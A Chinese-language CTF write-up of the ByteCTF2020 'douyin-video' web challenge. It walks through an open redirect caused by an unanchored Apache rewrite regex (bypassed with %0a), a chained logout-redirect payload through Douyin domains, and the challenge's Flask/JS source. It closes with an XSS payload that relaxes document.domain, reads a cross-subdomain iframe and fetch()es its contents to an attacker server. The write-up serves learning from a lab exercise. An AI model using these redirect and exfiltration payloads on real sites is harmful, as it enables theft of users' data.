[ByteCTF2020]douyin-video
太难了,字节这个比赛的web就离谱离谱离谱离谱离谱离谱
我反正一个都不会,最简单的这个题看了一天多也不会做
环境也没得了,复现机会->0
题解
题目给了一个反馈功能和一个提交xss功能,xss无过滤,反馈功能肯定也就是给我们打机器人的
但是我们提交的xss在c.bytectf.live:30002下,而bot只能访问a.bytectf.live:30001
还有一个b.bytectf.live:30001,好像ab的后端都是一致的,如果看附件给的源码的话发现还有a和b之间的跳转,但是不知道意义是什么
任意url跳转
题目给了源码,之前测试的时候也发现了,a.bytectf.live后接内容会跳转到抖音主页,然后把后接内容拼上去
看到附件里Apache的配置也有这么一句RewriteRule (.*)$ http://www.douyin.com$1
然后我们就去日抖音了,想找个抖音的任意url跳转,日了一个下午+一个晚上都没日出来,后来赛后看wp还真有神仙日出来了抖音的任意url跳转
后来是fuzz出来了在a.bytectf.live:30001后接%0a可以任意url跳转,后面给自己域名解析一下,整一个www.douyin.com.xxxxxx.com 的域名出来,就可以跳转到自己的服务器上,然后再给自己服务器上放一个a标签再重定向一次导c.bytectf.live:30001上,起码能把xss提交到bot那去了
看WM的wp说的是任意url跳转是因为(.*)$这个正则匹配写的有点歪,没用^,点号.不匹配换行符,$匹配字符串的结束位置,所以事实上匹配的是我们换了行之后的那截,再拼到douyin.com后面导致的任意url跳转
先给自己的服务器整个域名(幸好我有,再整个抖音的子域名就跳过去了)
日抖音
然后超级大哥的超级做法,日抖音,说是登入登出的时候经常会有登出后跳转这种类型的功能,然后在抖音几个子公司的域名下跳来跳去最终跳到了任意链接,太牛逼了,就贴一个神仙payloadhttp://a.bytectf.live:30001/logout?next=https%3a//creator.douyin.com/passport/web/logout/%3fnext%3dhttps://tsearch-quic.snssdk.com/search/jump?url=http://c.bytectf.live:30002/?action=post%25252526id=b44cb32f302e2d4249dea06a2ffa0da1
https://tsearch-quic.snssdk.com/search/jump
应该是神仙找到的一个提供任意url跳转的网站
XSS
后端是python搭的,但是主要的逻辑都在js上,python就设置了一堆安全策略
router.py
// 一大堆没什么用的代码
........
@app.route("/search", methods=['POST'])
def search_handler():
keyword = request.form['keyword']
if keyword == '':
return jsonify()
elif {k for k in DATASET.keys() if keyword == k}:
return jsonify({DATASET[keyword]: ''})
else:
ret = {k: '' for k in DATASET.keys() if keyword in k}
return jsonify(ret), 200 if len(ret) else 200
@app.after_request
def add_security_headers(resp):
resp.headers['X-Frame-Options'] = 'sameorigin'
resp.headers[
'Content-Security-Policy'] = "default-src http://*.bytectf.live:*/ 'unsafe-inline'; frame-src *; frame-ancestors http://*.bytectf.live:*/"
resp.headers['X-Content-Type-Options'] = 'nosniff'
resp.headers['Referrer-Policy'] = 'same-origin'
return resp
两个js
send下的js
if (location.host != 'a.bytectf.live:30001') {
document.domain = 'bytectf.live'
}
let u = new URL(location), p = u.searchParams, k = p.get('keyword') || ''
if ('' === k) history.replaceState('', '', '?keyword=')
axios.post('/search', `keyword=${encodeURIComponent(k)}`).then(resp => {
result.innerHTML = ''
for (i of Object.keys(resp.data)) {
let p = document.createElement('pre')
p.style = "display: none;"
p.textContent = i
result.appendChild(p)
}
})
index下的js
let u = new URL(location), p = u.searchParams, k = p.get('keyword') || '';
if ('' === k) history.replaceState('', '', '?keyword=');
axios.post('/search', `keyword=${encodeURIComponent(k)}`).then(resp => {
result.innerHTML = '';
if (document.domain == 'a.bytectf.live') {
if(Object.keys(resp.data).length != 0){
document.domain = 'bytectf.live'
for (f of Object.keys(resp.data)) {
let i = document.createElement('iframe');
i.src = `http://b.bytectf.live:30001/send?keyword=${encodeURIComponent(f)}`;
result.appendChild(i);
setTimeout(
() => {
let u = window.frames[0].document.getElementById('result').children[0].innerText;
let e = document.createElement('iframe'); e.src = u;
window.frames[0].document.getElementById('result').append(e)
},2500)
}
}
else
{
//没吊用的代码
.......
}
}
})
设置了一堆同源策略,frame-ancestors http://*.bytectf.live:*/
支持来着任意匹配域名的iframe,覆盖掉了另一句['X-Frame-Options'] = 'sameorigin'
,然后还在js下面加了一堆document.domain,超级跨域给机会
两个js也不知道有什么意义,反正都是通过GET提交的keyword去python的search路由下面查一个数据内嵌到页面里,index是把数据放在开一个b的新的frame的src里面,send是直接整一个放在pre标签里面,我估摸着是不是在模拟真实环境啊?
反正看route.py的那个逻辑,只要keyword in k就能返回东西出来,flag是ByteCTFxxx,提交keyword是ByteCTF就行了
在c中修改自己的document.domain,引入a.bytectf.live:30001?keyword=ByteCTF作为iframe,a自己给自己设一个document.domain自动提供跨域功能。直接拿这个查询结果里的flag就行
也可以打b.bytectf.live:30001/send?keyword=ByteCTF,注意打send的话要打b站,因为send的js写的是如果不是a站才设置document.domain所以还是没懂这么整两个一模一样的站有什么区别,再整两个功能差不多的js脚本干什么
最后上xsspayload,设置document.domain开iframe再直接用innerHTML加fetch函数发请求一气呵成
document.domain = 'bytectf.live';
var ifr=document.createElement("iframe");
ifr.setAttribute('src','http://b.bytectf.live:30001/send?keyword=Byte');
document.body.appendChild(ifr);
setTimeout(() => {
fetch('http://xxxx.com:10040/?data=' +
encodeURI(window.frames[0].document.body.innerHTML));
},4000);
坑点
或者说是不足的知识点吧,这种需要加载的页面打起来应该用setTimeout异步等待页面加载完再发数据出来,不然页面都还没加载出来就试图获取数据啥也拿不到(就这个浪费了好久时间)
document.domain会把设置完之后的同源策略的端口置为null,现在看到两种说法,一个是之前看到的说端口置为null之后就只能和同样是null的才能同源,还有一个是在MDN上看到的说置为null后任意端口都能同源了(没试验过先记下来,我先选择相信MDN)
https://developer.mozilla.org/en-US/docs/Web/API/Document/domain
end
好像一路理下来也不是特别难,正则匹配写歪了导致的跳转我是真没想到,最后setTimeout我也没想到,我真的什么都不会呜呜呜